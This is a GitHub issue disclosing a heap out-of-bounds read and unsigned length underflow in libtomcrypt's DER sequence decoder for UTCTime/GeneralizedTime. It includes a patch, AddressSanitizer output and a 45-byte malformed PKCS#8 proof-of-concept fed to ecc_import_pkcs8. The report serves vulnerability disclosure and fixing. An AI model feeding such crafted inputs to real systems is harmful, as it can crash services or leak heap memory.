Skip to content

Heap out-of-bounds read and length underflow in der_decode_sequence_flexi on UTCTime/GeneralizedTime (develop branch) #812

Open

Description

@nguyentruong190

Description

A heap out-of-bounds read and buffer length underflow vulnerability exists in der_decode_sequence_flexi() when decoding ASN.1 sequences containing UTCTime (tag 0x17) or GeneralizedTime (tag 0x18).

The bug is reachable via public APIs such as ecc_import_pkcs8 and x509_decode_spki.

Version

develop branch, commit 6c6d510 (and post-v1.18.2)

Additional Information

Root cause

In src/pk/asn1/der/sequence/der_decode_sequence_flexi.c:380-388:

case 0x17: { /* UTCTime */
   len = *inlen;
   if ((err = der_decode_utctime(in, &len, l->data)) != CRYPT_OK) {
      goto error;
   }
   /* FLAW: len (which tracks consumed TLV bytes) is overwritten by re-encode length */
   if ((err = der_length_utctime(l->data, &len)) != CRYPT_OK) {
      goto error;
   }
   ...
   break;
}

And in the loop footer (lines 509-512):

   totlen += len;
   in     += len;
   *inlen -= len;

der_length_utctime() calculates the length needed to re-encode the canonical structure, which does not necessarily match the actual TLV bytes consumed. For non-canonical inputs (e.g. 17-byte input yielding re-encode length of 19 bytes), len becomes larger than the consumed bytes:

  1. in += len advances past the actual end of the input buffer.
  2. *inlen -= len underflows the unsigned counter to ~2^64.
  3. The parser continues reading subsequent ASN.1 tags out of bounds from heap memory and still returns CRYPT_OK.

The same pattern exists for 0x18 (GeneralizedTime).

Suggested fix

Do not overwrite len with the re-encode length calculation, and ensure safe bounds in the loop footer:

--- a/src/pk/asn1/der/sequence/der_decode_sequence_flexi.c
+++ b/src/pk/asn1/der/sequence/der_decode_sequence_flexi.c
@@ -380,8 +380,8 @@ int s_der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen,
          case 0x17: {
             len = *inlen;
             if ((err = der_decode_utctime(in, &len, l->data)) != CRYPT_OK) {
                goto error;
             }
-            if ((err = der_length_utctime(l->data, &len)) != CRYPT_OK) {
-               goto error;
-            }
             break;
          }
@@ -391,8 +391,8 @@ int s_der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen,
          case 0x18: {
             len = *inlen;
             if ((err = der_decode_generalizedtime(in, &len, l->data)) != CRYPT_OK) {
                goto error;
             }
-            if ((err = der_length_generalizedtime(l->data, &len)) != CRYPT_OK) {
-               goto error;
-            }
             break;
          }
@@ -509,6 +503,10 @@ int s_der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen,
+      if (len > *inlen) {
+         err = CRYPT_INVALID_PACKET;
+         goto error;
+      }
       totlen += len;
       in     += len;
       *inlen -= len;

Reproduction

Feeding a 45-byte PKCS#8 private key containing an inner OCTET STRING holding non-canonical UTCTime bytes 17 0f "0000000000+0400" to ecc_import_pkcs8() triggers the bug:

#include <tomcrypt.h>

int main(void) {
    static const unsigned char p8[45] = {
        0x30, 0x2b, 0x02, 0x01, 0x00, 0x30, 0x13, 0x06,
        0x07, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x02, 0x01,
        0x06, 0x08, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x03,
        0x01, 0x07, 0x04, 0x11, 0x17, 0x0f, 0x30, 0x30,
        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
        0x2b, 0x30, 0x34, 0x30, 0x30
    };
    ecc_key key;
    register_cipher(&aes_desc);
    return ecc_import_pkcs8(p8, sizeof(p8), NULL, 0, &key);
}

Call stacks (AddressSanitizer)

==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1 at 0x5030000000b3
    #0 in der_decode_asn1_identifier src/pk/asn1/der/general/der_decode_asn1_identifier.c:74:17
    #1 in s_der_decode_sequence_flexi src/pk/asn1/der/sequence/der_decode_sequence_flexi.c:84:18
    #2 in ecc_import_pkcs8_asn1 src/pk/ecc/ecc_import_pkcs8.c:102:8
    #3 in ecc_import_pkcs8 src/pk/ecc/ecc_import_pkcs8.c:160:10
0x5030000000b3 is located 0 bytes after 19-byte region [0x5030000000a0,0x5030000000b3)
allocated by thread T0 here:
    #1 in s_der_decode_sequence_flexi der_decode_sequence_flexi.c:211:28
    #2 in pkcs8_decode_flexi src/pk/asn1/pkcs8/pkcs8_decode_flexi.c:34

Please let me know if any further details are required. Thank you!

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions